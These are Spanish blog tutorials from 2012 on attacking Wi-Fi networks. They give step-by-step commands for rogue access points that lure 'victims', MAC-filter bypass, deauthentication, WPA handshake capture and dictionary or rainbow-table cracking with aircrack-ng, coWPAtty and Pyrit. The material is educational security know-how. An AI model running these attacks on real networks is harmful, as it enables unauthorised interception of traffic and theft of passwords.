martes, 31 de enero de 2012

Ataques sociales -- Creación de puntos de acceso

    Ataques sociales -- Creación de puntos de acceso

En los ataques anteriores eramos nosotros los que “atacábamos” los puntos de acceso, pero en este apartado nos centraremos en crear puntos de acceso falsos para que las “victimas” se conecten a ellos, demostrando que no es muy buena idea conectarse a un punto de acceso abierto.
Recalcar que para los “ataques sociales” necesitaremos dos interfaces de red .




Airbase-ng + brctl

En este punto crearemos un punto de acceso con airbase-ng y le daremos conexión a los clientes que se conecten a él mediante una interfaz puente con brctl .
>>>>> Documentacion airbase-ng:
>>>>> Documentacion brctl:

Partimos de que tenemos conectado el pc mediante cable de red (en el ejemplo interfaz eth0) a un router con acceso a Internet.
  1. Primero crearemos un punto de acceso con airbase-ng.
    sintaxis → airbase-ng -P -C 30 -c <canal de AP objetivo> -e <ESSID del punto de acceso objetivo> <interfaz en modo monitor>
    airbase-ng -P -C 30 -c 6 -e APfalso mon0

  1. En otra terminal utilizaremos brctl para crear un puente entre la interfaz que nos suministra Internet (eth0) y la interfaz que crea airbase-ng (at0). Este puente lo llamaremos “puente”:sintaxis → brctl addbr <nombre del puente>sintaxisbrctl addif <nombre del puente> <interfaz a agregar al puente>sintaxis → brctl addif <nombre del puente> <interfaz a agregar al puente>
brctl addbr puente
brctl addif puente eth0
brctl addif puente at0
  1. Borramos la configuración de las interfaces de red utilizadas y habilitamos el ip forwarding:sintaxis → ifconfig <interfaz de red> 0.0.0.0 upsintaxis → ifconfig <interfaz de red airbase-ng> 0.0.0.0 upsintaxis → echo 1 > /proc/sys/net/ipv4/ip_forward
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
echo 1 > /proc/sys/net/ipv4/ip_forward
  1. Habilitamos la interfaz puente y lanzamos el cliente dhcp sobre ella.sintaxis → ifconfig <interfaz puente> upsintaxis → dhclient3 <interfaz puente>
    Por último solo nos queda esperar que los clientes se conecten a nuestro punto de acceso, cosa que veremos reflejada en la terminal con el airbase-ng:



Airbase-ng + iptables

Misma idea que el punto anterior, salvo que ahora los clientes se conectaran a una subnet creada por nosotros.

  1. Primero crearemos un punto de acceso con airbase-ng.
    sintaxis → airbase-ng -P -C 30 -c <canal de AP objetivo> -e <ESSID del punto de acceso objetivo> <interfaz en modo monitor>
    airbase-ng -P -C 30 -c 6 -e APfalso mon0

  1. Ahora configuraremos iptables para que redirija todo el trafico de la interfaz at0 creada por airbase-ng a la interfaz que tiene acceso a Internet (eth1), después habilitamos ip forwarding:sintaxis → iptables -t nat -A POSTROUTING -o <interfaz acceso Internet> -j MASQUERADEsintaxis → iptables -A INPUT -s 10.0.0.0/24 -i <interfaz airbase-ng> -j ACCEPTsintaxis → echo "1" >/proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
iptables -A INPUT -s 10.0.0.0/24 -i at0 -j ACCEPT
echo "1" >/proc/sys/net/ipv4/ip_forward
  1. Ahora configuraremos el servidor dhcp y lo guardaremos donde queramos, en mi caso en /etc/dhcp3/dhcpd.conf:option domain-name-servers 192.168.0.1;default-lease-time 60;max-lease-time 72;ddns-update-style none;authoritative;log-facility local7;subnet 10.0.0.0 netmask 255.255.255.0 {   range 10.0.0.100 10.0.0.254;   option routers 10.0.0.1;   option domain-name-servers 192.168.0.1;}
   Donde:
  • option domain-name-servers 192.168.0.1 → es el servidor DNS, en nuestro caso el router, aunque si tuviéramos nuestro propio servidor DNS configurado nos seria útil para un DNS spoofing por poner un ejemplo.
  • subnet 10.0.0.0 netmask 255.255.255.0 { → dirección de red y máscara de la subred.
  • range 10.0.0.100 10.0.0.254; → rango de direcciones que tendrán disponible los clientes que se conecten.
  • option routers 10.0.0.1; → el router de la subred que será la interfaz de airbase-ng.
  • option domain-name-servers 192.168.0.1; → DNS de la subred.

  1. El siguiente paso es habilitar la interfaz at0, asignarle una ip para que trabaje correctamente con nuestro servidor dhcp y lanzarlo:sintaxis → ifconfig <interfaz airbase-ng> up 10.0.0.1 netmask 255.255.255.0sintaxis → dhcpd3 -cf <lugar donde esta la configuracion del servidor dhcp> <interfaz airbase-ng>
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

Por último solo nos queda esperar a que alguien se conecte al punto de acceso, cosa que airbase-ng reflejará de la siguiente forma:

domingo, 29 de enero de 2012

Descifrar capturas

    Descifrar capturas
>>>>> Documentacion airdecap-ng:
Con airdecap-ng podemos descifrar capturas con cifrado WEP/WPA y WPA2 (previo conocimiento de contraseña y handshake en el caso de WPA/WPA2) para su posterior análisis con herramientas como wireshark .


Airdecap-ng + WEP
sintaxis → airdcap-ng -w <password> <captura cifrada .cap>

airdecap-ng -w 31:32:33:34:35:36:37:38:39:31:32:33:34 capturaWep-01.cap

Como nota importante el password tiene que estar en hexadecimal.



Airdecap-ng + WPA/WPA2
sintaxis → airdcap-ng -e <essid> -p <password> <captura cifrada .cap>

airdecap-ng -e wireless -p 1234567891234 captura-01.cap

En WPA/WPA2 el passphrase no tiene que escribirse en hexadecimal y hay que tener en cuenta que la captura que intentamos descifrar contiene el handshake del punto de acceso.



----------------------------------


Aetsu

viernes, 27 de enero de 2012

Otras defensas

Otras defensas

Filtrado MAC

>>>>> Información filtrado MAC (Wikipedia):
Primero intentamos asociarnos al punto de acceso y vemos que este no nos lo permite, entonces es posible que el filtrado MAC esté habilitado, con lo que si nuestra dirección MAC no está en la lista de direcciones permitidas no podremos conectarnos al punto de acceso.
Para solucionar este inconveniente buscaremos un cliente asociado al punto de acceso, airodump-ng nos permite averiguar esto.

- Activamos el modo monitor y ponemos airodump-ng a captura paquetes:
sintaxis
airmon-ng start <interfaz de red>
sintaxisairodump-ng <interfaz en modo monitor>
Para saber que cliente esta conectado a que AP, vemos los campos que nos interesan de lo que nos muestra airodump-ng. Nuestro objetivo en este ejemplo es el punto de acceso wireless (columna mitad superior BSSID), que tiene una dirección MAC asociada (columna mitad superior BSSID), entonces para encontrar un cliente asociado a ese punto de acceso, buscamos en la columna BSSID de la mitad inferior una MAC que coincida con la columna BSSID de la mitad superior. Una vez la encontremos veremos que en la columna STATION (mitad inferior) aparecerá la MAC de un cliente asociado al AP objetivo.
Una vez encontremos un cliente que está conectado apuntaremos su MAC.

A continuación esperaremos a que ese cliente se desconecte y con macchanger cambiaremos nuestra MAC por la del cliente que antes estaba conectado:
sintaxis macchanger -m <nueva mac> <interfaz>
Por último veremos que ya nos es posible asociarnos:



Ataque de desasociación

Un ataque de desasociación sobre un cliente nos permite desconectarle de un punto de acceso.
Con airodump-ng vemos los clientes conectados al punto de acceso wireless.
Ahora desasociaremos al cliente asociado al punto de acceso:
    sintaxis → aireplay-ng -0 <paquetes a mandar al cliente objetivo> -a <mac del punto de acceso> -c <mac del cliente asociado al punto de acceso> <interfaz en modo monitor>
Entonces veremos como en la pestaña en donde tengamos a airodump-ng capturando tráfico, los paquetes de la columna Lost empiezan a subir hasta que el cliente se desconectará del AP.



ESSID oculto

También es posible que no podamos ver el ESSID de un punto de acceso, es decir, que en lugar del nombre (por ejemplo wireless) aparecerá <length: 0>.
Primero pondremos a airodump-ng capturando tráfico:
Lo siguiente será esperar a que un usuario se conecte al punto de acceso o desasociamos a un cliente ya conectado (el ataque de desasociación visto en el punto anterior) forzando que vuelva a conectarse. Una vez suceda uno de los dos acontecimientos deseados veremos revelado el nombre (ESSID) del punto de acceso.

domingo, 22 de enero de 2012

Cifrado WPA


Cifrado WPA


>>>>> Información WPA (Wikipedia):

El ataque sobre redes WPA principalmente se basa en obtener el handshake o acuerdo de cuatro vías que permite al cliente y al punto de acceso negociar las claves utilizadas para cifrar el tráfico enviado. Una vez obtenido intentar obtener la contraseña del punto de acceso mediante un ataque de diccionario.

Obteniendo el Handshake

Para obtener el handshake tenemos dos opciones, o bien esperamos a que se conecte un cliente al punto de acceso, o forzamos a un cliente conectado a reconectarse. Comentaremos la segunda opción puesto que es la que requiere trabajo por nuestra parte.


  1. Primero pondremos a airodump-ng a capturar paquetes con el fin de obtener el handshake:
sintaxisairodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del archivo donde se guardaran la captura> <interfaz>

airodump-ng --bssid 00:11:22:33:44:55 -c 11 -w captura mon0
  1. Como “vemos” en la imagen hay un cliente asociado al punto de acceso, entonces utilizaremos aireplay-ng para forzarlo a que vuelva a asociarse.
    sintaxisaireplay-ng -0 <paquetes a mandar al cliente objetivo> -a <mac del punto de acceso> -c <mac del cliente asociado al punto de acceso> <interfaz>
aireplay-ng -0 0 -a 00:11:22:33:44:55 -c aa:bb:cc:dd:ee:ff mon0
  1. Como vemos el cliente empieza a recibir paquetes y no tardara en desconectarse del punto de acceso, con lo que ya podremos detener la terminal anterior (la que contiene el aireplay-ng -0).
  1. Cuando el cliente vuelva a conectarse al punto de acceso obtendremos el handshake (aparecerá en la parte superior derecha de la ventana con el airodump-ng):
  1. Si queremos comprobar si ya tenemos el handshake almacenado en nuestro archivo de captura (.cap), podemos utilizar aircrack-ng para verlo:
    sintaxisaircrack-ng <archivo de captura .cap>
aircrack-ng captura-01.cap


RESUMEN OBTENIENDO EL HANDSHAKE

  1. airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del archivo donde se guardaran la captura> <interfaz>
  2. aireplay-ng -0 <paquetes a mandar al cliente objetivo> -a <mac del punto de acceso> -c <mac del cliente asociado al punto de acceso> <interfaz>
  3. aircrack-ng <archivo de captura .cap>



Obteniendo la contraseña

Primero intentaremos obtener la contraseña con aircrack-ng, despues repetiremos el mismo proceso con coWPAtty y al final con Pyrit aprovechando así las gpu de la tarjeta gráfica para calcular la contraseña.
A continuación intentaremos descifrar la contraseña mediante Rainbow Tables, veremos como crearlas y las utilizaremos junto con coWPAtty y Pyrit.
Aclarar que se utilizara el mismo diccionario en todos los programas, el cual contiene 86190 palabras, aunque no es muy extenso cumple su cometido para la demostración.



Obteniendo la contraseña: Aircrack-ng

  1. Primero comprobamos que el handshake se encuentra en la captura:sintaxisaircrack-ng <archivo de captura .cap>
aircrack-ng captura-01.cap
  1. A continuación lanzamos lanzaremos aircrack-ng junto con un diccionario para empezar a buscar la contraseña:
    sintaxisaircrack-ng <archivo de captura .cap> -w <diccionario>
    aircrack-ng -w diccionario captura-01.cap

En la ventana del aircrack-ng podremos observar la contraseña que esta comprobando en este momento, así como el tiempo que lleva trabajando.

  1. Al final vemos como ha encontrado la contraseña (ha tardado 45 segundos), lógicamente como mas grande sea el diccionario empleado mas tiempo tardará en encontrarla, o si esta no está en el diccionario obtendremos resultado.



Obteniendo la contraseña: coWPAtty

  1. Lanzamos coWPAtty junto con un diccionario y el essid del punto de acceso para para empezar a buscar la contraseña:
    sintaxis → cowpatty -f <diccionario> -s <ESSID del AP> -r <archivo de captura .cap>
cowpatty -f diccionario -s wireless -r captura-01.cap

Nos irá mostrando las contraseñas comprobadas y al final nos mostrará la correcta (si la encuentra).



Obteniendo la contraseña: Pyrit
  1. Con Pyrit podemos comprobar que la captura contiene el handshake mediante la opción analyze:sintaxis → pyrit -r <archivo de captura .cap> analyze
pyrit -r captura-01.cap analyze
  1. E intentamos obtener la contraseña mediante la opción attack_passthrough:
    sintaxis → pyrit -r <archivo de captura .cap> -i <diccionario> -b <BSSID del AP> attack_passthrough
pyrit -r captura-01.cap -i diccionario -b 00:11:22:33:44:55 attack_passthrough



RESUMEN OBTENIENDO LA CONTRASEÑA

AIRCRACK-NG
aircrack-ng <archivo de captura .cap> -w <diccionario>

COWPATTY
cowpatty -f <diccionario> -s <ESSID del AP> -r<archivo de captura .cap>

PYRIT
pyrit -r<archivo de captura .cap> -i <diccionario> -b <BSSID del AP> attack_passthrough



Obteniendo la contraseña: Rainbow Tables

  1. Creamos las “rainbow tables” con genpmk (viene con la herramienta coWPAtty)
sintaxisgenpmk -f <diccionario> -d<nombre con el que guardaremos la rainbow table> -s <ESSID del AP>
genpmk -f diccionario -ddic.genpkm -s wireless

La rainbow table tardará bastante en crearse, dependiendo de su tamaño:



Rainbow Tables → coWPAtty
  1. Una de las opciones para utilizar las rainbow tables es coWPAtty:
sintaxis → cowpatty -d <rainbow table> -r<archivo de captura .cap> -s <ESSID del AP> -2


cowpatty -d dic.genpkm -r captura-01.cap -s wireless -2




Rainbow Tables → Pyrit
  1. Otra posibilidad para utilizar las rainbow tables es Pyrit con la que aprovecharemos las GPU de nuestra gráfica (si esta lo permite):
         sintaxis → pyrit -r<archivo de captura .cap> -i <rainbow table> -b <BSSID del AP> attack_cowpatty

pyrit -r captura-01.cap -i dic.genpkm -b 00:11:22:33:44:55 attack_cowpatty


RESUMEN OBTENIENDO LA CONTRASEÑA:
RAINBOW TABLES


COWPATTY
genpmk -f <diccionario> -d<nombre con el que guardaremos la rainbow table> -s <ESSID del AP>

COWPATTY
cowpatty -d <rainbow table> -r<archivo de captura .cap> -s <ESSID del AP> -2

PYRIT
pyrit -r<archivo de captura .cap> -i <rainbow table> -b <BSSID del AP> attack_cowpatty